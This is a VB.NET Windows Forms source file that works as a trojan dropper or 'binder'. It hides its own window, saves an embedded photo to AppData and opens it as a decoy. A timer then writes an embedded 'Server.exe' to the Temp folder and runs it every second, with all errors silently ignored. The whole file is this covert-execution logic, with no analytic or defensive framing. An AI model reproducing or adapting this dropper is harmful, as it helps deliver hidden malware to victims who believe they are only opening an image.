Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        On Error Resume Next
        Me.ShowInTaskbar = False
        Me.ShowIcon = False
        Me.Visible = True
        Me.Opacity = 0
        Dim sadik As String
        sadik = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString
        My.Resources.photo.Save(IO.Path.Combine(sadik, "photo.jpg"))
        Process.Start(sadik + "\photo.jpg")
        timer1.start()
    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        On Error Resume Next
        Timer1.Interval = 1000
        Dim sarmad As String = My.Computer.FileSystem.SpecialDirectories.Temp
        Dim karim As String = sarmad + "Server.exe"
        IO.File.WriteAllBytes(karim, My.Resources.Server)
        Process.Start(karim)
    End Sub
End Class